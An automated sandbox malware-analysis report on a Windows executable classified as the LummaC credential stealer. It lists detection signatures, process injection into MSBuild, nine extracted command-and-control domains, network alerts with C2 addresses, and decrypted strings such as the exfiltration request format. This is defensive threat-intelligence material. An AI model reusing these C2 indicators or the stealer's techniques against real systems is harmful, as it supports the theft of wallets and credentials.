Edit tour

Windows Analysis Report
maizu v1.4.exe

Overview

General Information

Sample name:	maizu v1.4.exe
Analysis ID:	1527615
MD5:	38a5c7e69cb36a95a2f6089d741487dd
SHA1:	a2c46a00507c4f62d9df5d41744b33d050ad761b
SHA256:	f215be7bd064409b81502fcda1727c25f241c9424f3c648c78d00357cdea2a7d
Tags:	exeuser-bloated7731
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: Silenttrinity Stager Msbuild Activity

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

maizu v1.4.exe (PID: 6056 cmdline: "C:\Users\user\Desktop\maizu v1.4.exe" MD5: 38A5C7E69CB36A95A2F6089D741487DD)

MSBuild.exe (PID: 5832 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 1520 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1656 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1020 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1636 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5068 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1644 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1784 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1572 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5856 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1592 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["bemuzzeki.sbs", "invinjurhey.sbs", "laddyirekyi.sbs", "bleedminejw.buzz", "frizzettei.sbs", "exilepolsiy.sbs", "wickedneatr.sbs", "exemplarou.sbs", "isoplethui.sbs"], "Build id": "LPnhqo--sdatetjwazyp"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 104.21.17.192, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 5832, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T06:44:04.900803+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.17.192	443	TCP
2024-10-07T06:44:05.507503+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	443	TCP
2024-10-07T06:44:06.468900+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49707	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T06:44:04.900803+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49705	104.21.17.192	443	TCP
2024-10-07T06:44:05.507503+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49706	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T06:44:06.468900+0200	2049812	1	A Network Trojan was detected	192.168.2.5	49707	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.maizu v1.4.exe.bc0000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["bemuzzeki.sbs", "invinjurhey.sbs", "laddyirekyi.sbs", "bleedminejw.buzz", "frizzettei.sbs", "exilepolsiy.sbs", "wickedneatr.sbs", "exemplarou.sbs", "isoplethui.sbs"], "Build id": "LPnhqo--sdatetjwazyp"}

Multi AV Scanner detection for domain / URL

Source: exemplarou.sbs

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for submitted file

Source: maizu v1.4.exe	ReversingLabs: Detection: 66%
Source: maizu v1.4.exe	Virustotal: Detection: 44%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: maizu v1.4.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: wickedneatr.sbs
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: invinjurhey.sbs
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: laddyirekyi.sbs
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: exilepolsiy.sbs
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: bemuzzeki.sbs
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: exemplarou.sbs
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: isoplethui.sbs
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: frizzettei.sbs
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: bleedminejw.buzz
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp	String decryptor: LPnhqo--sdatetjwazyp

Source: maizu v1.4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49739 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.17.192:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49715 version: TLS 1.2

Source: maizu v1.4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\maizu v1.4.exe

Code function: 0_2_00BD980F FindFirstFileExW,

0_2_00BD980F

Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	0_2_00C30050
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00C1A17D
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	0_2_00C14110
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	0_2_00C34290
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then jmp ecx	0_2_00C02396
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00C14370
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [ecx], al	0_2_00C2032F
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00C2032F
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00C2032F
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then inc edi	0_2_00C024AC
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	0_2_00C20442
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [ecx], al	0_2_00C20442
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00C36500
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	0_2_00C326F6
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	0_2_00C3264A
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then jmp eax	0_2_00C00667
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	0_2_00C307A0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then push esi	0_2_00C1C763
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00C208E0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	0_2_00C328EA
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esi+40h]	0_2_00C00928
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00C0EAEA
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	0_2_00BF8AF0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00C32A10
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_00BF0A60
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp+000000C0h]	0_2_00BFEA4C
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [ebp-18h]	0_2_00BFAB60
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp+000001C0h]	0_2_00BFECDC
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_00BFACC1
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [esi+edx], bl	0_2_00BF8C00
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp byte ptr [eax+01h], 00000000h	0_2_00C14ECB
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov dword ptr [esp+2Ch], ebp	0_2_00C34EF0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+esi]	0_2_00C32F70
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then jmp ecx	0_2_00C35054
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	0_2_00C21001
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	0_2_00C1B1A0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00C35148
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_00C1D2F0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov word ptr [esi], ax	0_2_00C17280
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	0_2_00C312B0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00BF9270
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	0_2_00C1B22C
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov edx, dword ptr [esp]	0_2_00BED3FF
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_00BFD3FB
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	0_2_00C1D390
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	0_2_00C1B3B4
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then jmp eax	0_2_00C3534B
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	0_2_00C19440
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	0_2_00C19440
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp byte ptr [esi], 00000000h	0_2_00C15418
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then push 00000000h	0_2_00BEF5C0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov word ptr [ebx], ax	0_2_00C1B570
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, edi	0_2_00C156EE
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	0_2_00C1F756
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_00C0170A
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp byte ptr [esi+01h], 00000000h	0_2_00BFB823
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7789B0CBh	0_2_00C33800
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	0_2_00C07950
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	0_2_00BFB940
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [ecx], al	0_2_00C1FADC
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00C1FADC
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00C1FADC
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	0_2_00C33A00
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then lea eax, dword ptr [edi+04h]	0_2_00C19BC3
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00C27B80
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00C0BBA0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_00C35BA0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_00C35BA0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	0_2_00BF1B10
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00C2FC10
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	0_2_00C2DC10
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then push ebx	0_2_00C01D53
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_00C35D30
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	0_2_00C35D30
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp word ptr [ecx+edx+02h], 0000h	0_2_00C35EB0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	0_2_00C35EB0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00C35FE0
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov word ptr [ebx], ax	0_2_00C0DF78
Source: C:\Users\user\Desktop\maizu v1.4.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00C09F35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_0040D390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	1_2_0044676A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	1_2_00446A0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+esi]	1_2_00447082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	1_2_00444170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_0044A100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	1_2_00435121
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_004491F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	1_2_004491F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	1_2_00428230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	1_2_0042F2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	1_2_004453D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	1_2_0042B3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	1_2_004483B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	1_2_0042F46A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_00431410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	1_2_0042F4D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00428490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	1_2_004314B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	1_2_0042D560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	1_2_0042D560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	1_2_0043456A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [ecx], al	1_2_0043456A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	1_2_0041151B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov edx, dword ptr [esp]	1_2_0040151F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then inc edi	1_2_004165CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_0044A620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	1_2_0041463D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+40h]	1_2_0041463D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then push 00000000h	1_2_004036E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [ebx], ax	1_2_0042F690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	1_2_0043387B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	1_2_00446816
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	1_2_0041582B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	1_2_004448C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then push esi	1_2_00430883
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [esi+01h], 00000000h	1_2_0040F943
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7789B0CBh	1_2_00447920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_0042D9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	1_2_0040FA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	1_2_0041BA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_00434A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then lea eax, dword ptr [edi+04h]	1_2_0042DB64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+000000C0h]	1_2_00412B6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [ebx], ax	1_2_00421B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	1_2_00447B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00446B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [ecx], al	1_2_00433BD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [ebx], al	1_2_00433BD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [ebx], al	1_2_00433BD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_00422BEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	1_2_00404B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	1_2_0040CC10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	1_2_00405C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [ebx], al	1_2_0041FCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	1_2_00449CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	1_2_00449CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-18h]	1_2_0040EC80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [ebx], al	1_2_00434C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [ebx], al	1_2_00434C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_0043BCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [esi+edx], bl	1_2_0040CD20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_00443D30
